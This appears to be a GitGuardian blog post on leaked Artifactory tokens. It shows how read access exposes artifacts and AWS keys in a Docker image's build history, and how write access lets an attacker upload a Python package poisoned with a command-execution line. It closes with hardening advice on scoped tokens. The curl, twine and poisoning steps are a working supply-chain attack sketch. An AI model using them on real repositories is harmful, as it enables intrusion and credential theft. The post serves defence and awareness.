The Secret to Your Artifactory: Inside The Attacker Kill-Chain

This is the second part of a series about Artifactory, the well-known software package repository. In the first part, we discussed the reason behind its authentication secrets leaks and the most common places where they occur.

Artifactory permission model

Artifactory’s permission model relies on an RBAC (Role-Based Access Control) approach with some extensions. The base brick of this system is what JFrog refers to as permissions.

Permissions apply to a set of objects, like repositories or builds, and are granted to a set of users and groups. The users and groups can be granted distinct permissions levels inside the same permission. Depending on the objects the permission applies to, the privileges that can be granted vary but can generally be roughly schematized as read, write, and administer

 For example, this is a valid permission in the sense of Artifactory:

Applies to: my super repository, my super builds
Granted users:
	jack: my super repository:read,write ; my super buidlds:read
Granted groups:
	power: my super repository:*
	reader: my super repository:read

An example permission object for Artifactory.

An Artifactory user can be given privileges directly at the permissions level. But every user can be assigned to groups and will also inherit those groups’ privileges.

In addition, there are specific privileges that can only be defined at the user level. They are represented by two attributes, Administer platform and Manage Resources, which basically provide administration rights to all or part of the platform.

To summarize, a user’s privileges are the result of the combination of individual permissions, group memberships, and special attributes. 

Now, when a user generates an identity token from the Artifactory web interface, it will automatically be set with the same level of privileges as the user. There is no easy way around this and it means that, in most cases, a leaked Artifactory token will have broad privileges reflecting those of a user.

In the following, we will detail the risks and attack scenarios for two of the most common privileges used: reading and writing on repositories.

Reading your artifacts

The most common type of permission given to users on an Artifactory instance is the reading repository one. This permission allows downloading artifacts from one or more repositories. Doing this is generally needed to build and execute software applications that rely on internal dependencies, hosted on the repositories.

Typical use cases of this permission are: developers pulling dependencies during development, CI/CD jobs pulling dependencies as part of the deployment process, and building or running Docker images for production deployments. Those use cases match and partly explain the leak locations that we explored in the first part of this series.

A leaked token with read privileges on repositories will allow attackers to download the artifacts available to that token. Similarly to what a legitimate user could do, attackers can use the Artifactory API to list available repositories and artifacts. For example, the following request will list all recent artifacts on an instance.

$ curl -d "items.find()" http://artifactory.example.com/artifactory/api/search/aql -H "Content-type: text/plain" -H "X-JFrog-Art-Api: cmVmd[...]"
{
"results" : [ {
  "repo" : "generic-test",
  "path" : "test-files",
  "name" : "test.txt",
  "type" : "file",
  "size" : 5,
  "created" : "2024-12-24T21:57:52.976+01:00",
  "created_by" : "admin",
  "modified" : "2024-12-24T21:57:52.976+01:00",
  "modified_by" : "admin",
  "updated" : "2024-12-24T21:57:53.047+01:00"
},
[...]

A request to list the accessible artifacts.

A direct consequence is that any private code or intellectual property contained in the artifacts can be leaked. Attackers can monetize such information and use it to affect a company’s business operations.

A less obvious consequence is due to the closeness of the artifacts to the production environment. As those are meant to be executed in production environments they are much more likely to contain production secrets, as illustrated by our recent research on secrets in Docker registries. Those additional secrets, accessed by the attackers, can turn the read access to Artifactory into more critical access to various parts of the company perimeter.

A recent GitGuardian finding showcased this attack path on a real-world company. A token leaked by this company, name redacted for privacy, provided read access to multiple repositories, including plaformredacted-generic and platformredacted-docker. The docker repositories contained tens of manifests that could have been downloaded by attackers.

$ curl "https://artifactory.redacted.com/artifactory/platformredacted-docker/project/projectcontainer28/manifest.json" -H "X-JFrog-Art-Api:AKCp[...]"
{
  "schemaVersion": 2,
  "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
  "config": {
	"mediaType": "application/vnd.docker.container.image.v1+json",
	"size": 1337,
	"digest": "sha256:74[...]"
  },
[...]

Downloading the manifest of a Docker image on the repository.

Those manifests contained critical production secrets including AWS access keys.

$ curl "https://artifactory.redacted.com/artifactory/platformredacted-docker/project/projectcontainer28/sha256__74[...]" -H "X-JFrog-Art-Api:AKCp[...]"
  [...]
  "history": [
	[...]
	{
  	"created": "2025-01-01T00:00:00.000000007Z",
  	"created_by": "|3 AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXX AWS_DEFAULT_REGION=us-east-1 AWS_SECRET_ACCESS_KEY=1z[...]2l /bin/sh -c echo [default] >> /root/.aws/config"
	},
	[...]

The container build history contains AWS credentials.

More secrets were found in other parts of the repositories, including Docker registries’ passwords and more.

In this real-world attack path, an attacker could have taken advantage of the read permissions on Artifactory to successfully compromise the AWS production environment of the company. This showcases how an Artifactory can be the first step in a cascading compromise, even with read-only access.

The supply chain attack risk

The second most common privilege encountered in the wild is write access to a repository. The main use case for this is CI/CD jobs deploying built artifacts to a repository.

When a leaked token provides write access to a repository, the attacker’s plan drastically changes to become a supply chain attack. When attackers have write access to a repository, they can simply deploy artifacts, similar to how a build job would. Attackers can then overwrite existing artifacts that are used in other software.

For example, in a compromised instance hosting a Python package repository, the attackers can use the API to list available packages and choose one that is often downloaded.

$ curl http://artifactory.example.com/artifactory/api/storage/pypi-local/example-package-private/0.0.2/example_package_private-0.0.2-py3-none-any.whl?stats -H "Authorization: Bearer cmVmd[...]"
{
  "uri" : "http://artifactory.example.com/artifactory/pypi-local/example-package-private/0.0.2/example_package_private-0.0.2-py3-none-any.whl",
  "downloadCount" : 142,
  "lastDownloaded" : 1735170101327,
  "lastDownloadedBy" : "admin",
  "remoteDownloadCount" : 0,
  "remoteLastDownloaded" : 0
}

Finding a software package that is often downloaded.

Attackers can download such a package and poison it with arbitrary code. In this example, the code is changed to execute a simple system command.

# cat example.py
def say_hello():
	print("Hello world!")

import os

print("Executing malicious code!")
os.system("id")

Poisoning a python code with a simple command execution.

Similarly to a normal CI/CD job, attackers can repackage the modified code and upload it to the repo under a new version tag.

$ python -m twine upload --config-file pypirc-with-compromised-key -r compromised-artifactory example_package_private-0.0.4-py3-none-any.whl

Using Twine to upload a new version of the package.

With the malicious package deployed, any piece of software that imports it will unknowingly execute the malicious code.

$ python -m pip install --upgrade -r requirements.txt
Looking in indexes: http://artifactory.example.com/artifactory/api/pypi/pypi/simple
Collecting example-package-private (from -r requirements.txt (line 1))
  Downloading http://artifactory.example.com/artifactory/api/pypi/pypi/example-package-private/0.0.4/example_package_private-0.0.4-py3-none-any.whl (3.1 kB)
Installing collected packages: example-package-private
  Attempting uninstall: example-package-private
	Found existing installation: example_package_private 0.0.2
	Uninstalling example_package_private-0.0.2:
  	Successfully uninstalled example_package_private-0.0.2
Successfully installed example-package-private-0.0.4

$ python main.py
Executing malicious code!
uid=1000(pooruser) gid=1000(pooruser) groups=1000(pooruser)
Hello world!

An unsuspecting user upgrades it's dependencies and get compromised.

Such attacks can have tremendous consequences that increase with the poisoned package usage scope and adoption. The code execution can happen in various places :

  • Build environments leading to a long-time compromise of other packages similar to the recent Ultralytics attack.
  • Developers' development environment, with potential lateral movement to developers' accessible resources.
  • Production environments, with dire operational consequences and data leaks.
  • Customer companies, with a multiplication of the compromised perimeter similar to the SolarWinds supply-chain attack.

From GitGuardian’s perspective, such attack scenarios are among the most severe that can happen to a company. This is the reason why we classify Artifactory token leaks as critical.

Reducing the risk

There are two approaches to reducing the risk linked to Artifactory tokens leakage.

The first one is to prevent the leak in the first place. GitGuardian’s ggshield can help you prevent your keys from an accidental leak by preventing code publication. GitGuardian’s Public Monitoring can also help to identify and remediate a leak if it happens anyway.

The second approach is to reduce the impact of a leak. Speaking about Artifactory, there are two main hardening options.

Artifactory’s authorization model can get messy. To avoid errors in privilege attributions, we advise relying on groups only and not granting privileges to users directly. Likewise, you should avoid configuring multiple privilege levels in a single permission object. If a permission object applies to multiple groups, each should be granted the same rights. If not, you probably need a second permission.

Doing so will ensure the authorization configuration is readable, understandable, and more easily auditable. It will reduce the risk of errors and help implement a least-privileges policy.

Another way of implementing a least-privileges policy is to use Artifactory’s scoped tokens. Indeed, if, by default, identity tokens generated by the Artifactory web interface inherit the full privileges of a user, it is possible to generate fine-grained tokens using the API.

Tokens can be generated by calling the API endpoint /access/api/v1/tokens. This endpoint accepts interesting parameters when it comes to authorization hardening:

  • scope: The permissions granted to the token
  • expires_in: How much time this token will stay valid

By combining those two options, one can generate a token that can only access a limited set of resources and will expire shortly. Moreover, the scope of such a token can generally not be deduced from the token only, which makes any attack more difficult.

We can generate precisely scoped tokens for the two classical types of permissions used:

$ curl -d "scope=artifact:generic-test:r&include_reference_token=true" http://artifactory.example.org/access/api/v1/tokens -X POST -H "Authorization: Bearer cmVmd[SENSITIVE_USER_TOKEN]" 

{
  "token_id" : "8d7402db-382f-418b-b5b7-7353b74e95b4",
  "access_token" : "eyJ2ZXIiOi[...]amcGQpiyd7-Q",
  "expires_in" : 31536000,
  "scope" : "artifact:generic-test:r",
  "token_type" : "Bearer",
  "reference_token" : "cmVmd[PRECISELY-SCOPED_TOKEN]",
  "username" : "user"
}

Requesting a token with the artifact:generic-test:r scope.

Such a token can be used to read the artifacts in the generic-test repository and nothing more. It is useful to help build a project that relies on packages in this repository. The scope could be even more specific and target a subdirectory or artifact of this repository.

$ curl -X POST -H "Authorization: Bearer cmVmd[SENSITIVE_USER_TOKEN]" -d "scope=artifact:pypi/path/to/some/package/:w&include_reference_token=true" http://artifactory.example.org/access/api/v1/tokens

{
  "token_id" : "8d7402db-382f-418b-b5b7-7353b74e95b4",
  "access_token" : "eyJ2ZXIiOi[...]amcGQpiyd7-Q",
  "expires_in" : 31536000,
  "scope" : "artifact:pypi/path/to/some/package/:w",
  "token_type" : "Bearer",
  "reference_token" : "cmVmd[PRECISELY-SCOPED_TOKEN]",
  "username" : "user"
}

Requesting a token with the artifact:pypi/path/to/some/package/:w scope.

Likewise, such a token can only write an artifact at the given location of the pypi repository. It can not read or browse any content. Attackers who get access to it would have a hard time figuring out how to exploit it.

Combining risk probability and impact reduction techniques is a classical strategy of risk management and can greatly help to improve the in-depth security level of your Artifactory authorization. That said, it is not limited to Artifactory but is something you might want to consider in all parts of your information system.

The Ultralytics Supply Chain Attack: Connecting the Dots with GitGuardian’s Public Monitoring Data
On December 4, 2024, the Ultralytics Python module was backdoored to deploy a cryptominer. Using GitGuardian’s data, we reconstructed deleted commits, connecting the dots with the initial analysis. This investigation highlights the value of GitGuardian’s data in understanding supply chain attacks.
Scanning Secrets in Container Registries
Secrets buried in container registries pose a silent risk.